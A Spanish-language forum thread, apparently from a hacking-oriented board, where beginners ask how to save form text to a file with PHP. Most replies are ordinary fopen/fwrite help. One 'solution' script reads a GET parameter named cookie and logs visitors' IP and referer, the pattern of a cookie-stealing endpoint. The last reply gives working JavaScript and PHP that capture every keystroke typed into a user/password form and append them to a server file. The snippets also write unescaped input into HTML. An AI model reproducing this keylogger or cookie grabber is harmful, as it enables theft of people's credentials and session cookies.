hola!
m gustaria saber como guardar lo q el se escriba en un campo d texto en un archivo txt del servidor...
salu2
Solamente tienes que tener un formulario cuyos campos sean variables y pasas los datos almacenados en esa variable al php para que se encargue de tratarlos :P
http://www.php.net/fopen
Saludos
if($archivo = fopen('archivo.txt', 'a'))
fwrite($archivo, $texto_a_agregar);
fclose($archivo);
http://www.php.net/fwrite
http://www.php.net/fopen
http://www.php.net/fread
http://www.php.net/fclose
salu2
yo habia pensado algo asi:
<?php
$texto= $_GET['c'];
$date=date("j F, Y, g:i a");
$fp = fopen('archivo.txt', 'a');
fwrite($fp, '
Texto: '.$texto.' <br>
Fecha y hora: ' .$date. ' <br><br>');
fclose($fp);
?>
y luego vas a http://www.tuserver.com/elarchivo.php?c= y luego el name del input box del formulario. lo he intentado pero no me sale, por favor, ayuda...
salu2
permisos de escritura en el archivo (ya debe existir)
podriais darme el codigo?
es q sino m parece q no lo voy a entender... :-(
bueh... no es necesario que exista porque lo crea pero si son necesarios permisos (770) en la carpeta los cuales puedes poner con tu cliente ftp o en tu panel de admin
ya lo he resuelto... esto es lo q hice:
cree el archivo prueba.html con este codigo:
<html>
<body>
<form id="form1" name="form1" method="post" action="enviar.php">
<label>
<input name="email" type="text" id="email" />
</label>
<label>
<input type="submit" name="Submit" value="Enviar" />
</label>
</form>
</body>
</html>
y luego enviar.php:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('datos.html', 'a');
fwrite($fp, '
Texto: '.$email.' <br>
Fecha y hora: ' .$date. ' <br><br>');
fclose($fp);
?>
no tuve q lo d los permisos... gracias d todos modos
salu2 ;D ;D
ara? aqui el problema... envias datos con post y los esperabas capturar con get y email sabe Dios donde la declaraste xD
Vaya, jeje, qué casualidad, yo que también estoy empezando con PHP pues se me ocurrió hacer como uno de mis primeros proyectos serios un encriptador de passwords en MD5, es decir, la web consta de un formulario con un textbox y un botón. El usuario mete una palabra en el textbox, le da al botón, y se le abre otra página informándole de la palabra que metió y su equivalente cifrado en MD5, además de guardar en un txt dentro de la propia web ambos datos (palabra introducida por el user y su equivalencia en MD5)
Para realizar eso he tenido que hacer justo lo que se trata en este post, leer el dato que el user introduce y mostrarlo luego por pantalla (aunque en mi caso es aun mas dificil el tema porque además tengo que hacer la conversión en MD5)
Bueno, ya tengo bastante avanzado el proyecto, pero aún tengo que darle por el lado del diseño gráfico, ademas de que quiero añadirle algunas cosillas más, para no dejarlo tan simple...
Bueno, quizás algún dia me anime a publicar el source (cuando vaya avanzando mas en Php y vaya haciendo cosas mejores)
Un saludo ^^
hacer la conversión a md5?
http://php.net/md5
y yo me pregunto... por que no leen un poco mas :P
Cita de: Nakp en 19 Febrero 2009, 23:52 PM
hacer la conversión a md5?
http://php.net/md5
y yo me pregunto... por que no leen un poco mas :P
Si relees mi post verás que
no pregunté como hacer la conversión MD5, sino que dije que
ya hice un conversor de MD5, para el cual tenia que interactuar con los datos que el usuario metiese en el textbox y al pulsar el botón (que es de esto ultimo de lo que se habla en este post), con lo cual yo no pregunté nada, conté lo de mi conversor porque el tema que se trata en este post me lo recordó :xD
Saludos
y para que explicas tu caso si no tiene nada que ver con el tema .__.
Cita de: invisible_hack en 20 Febrero 2009, 00:00 AM
Cita de: Nakp en 19 Febrero 2009, 23:52 PM
hacer la conversión a md5?
http://php.net/md5
y yo me pregunto... por que no leen un poco mas :P
Si relees mi post verás que no pregunté como hacer la conversión MD5, sino que dije que ya hice un conversor de MD5, para el cual tenia que interactuar con los datos que el usuario metiese en el textbox y al pulsar el botón (que es de esto ultimo de lo que se habla en este post), con lo cual yo no pregunté nada, conté lo de mi conversor porque el tema que se trata en este post me lo recordó :xD
Saludos
oséase que reinventaste la rueda... eso lo entendí, si ya lo hiciste para practicar ya sos vos
Hay una forma para enviar los valores de cada tecla pulsada directamente al archivo sin la necesidad de enviar la petición y te ahorras todo el jaleo:
<?php
if(!$_GET['k']){ ?>
Ingrese sus datos<br />
<input type=text /> User<br>
<input type=text /> Pass<br>
<input type=submit>
<script>
document.onkeydown = function(e){
if (!e) e = window.event;
var unicode = e.charCode ? e.charCode: e.keyCode;
var mod = (e.ctrlKey) ? 'Ctrl-': (e.altKey) ? 'Alt-': (e.shiftKey) ? 'Shift-': '';
var tecla = mod + String.fromCharCode(unicode);
grabar('http://<?php echo $_SERVER[HTTP_HOST].$_SERVER[SCRIPT_NAME]; ?>?k=' + tecla);
}
function grabar(url){
var xmlHttp = null;
try{
xmlHttp = new XMLHttpRequest();
}catch(e){
try{
xmlHttp = new ActiveXObject('Msxml2.XMLHTTP');
}catch(e){
xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');
}
}
xmlHttp.onreadystatechange = function(){
if(xmlHttp.readyState == 4) try{
if(xmlHttp.status == 200) {}
}catch(e){}
}
xmlHttp.open('get', url);
xmlHttp.send(null);
}
</script>
<?php
}else{
$file = fopen('datos.txt','a');
fwrite($file,$_GET['k']);
fclose($file);
}
?>
Lo que hace es tomar cada tecla pulsada y enviar su valor via GET al mismo archivo guardandolo en un txt, donde dice "a" puedes reemplazarlo por "x" para creación y sobreescritura o escritura solamente dependiendo si ya existe o no, puedes hacerlo con if(file_exist(.. etc etc.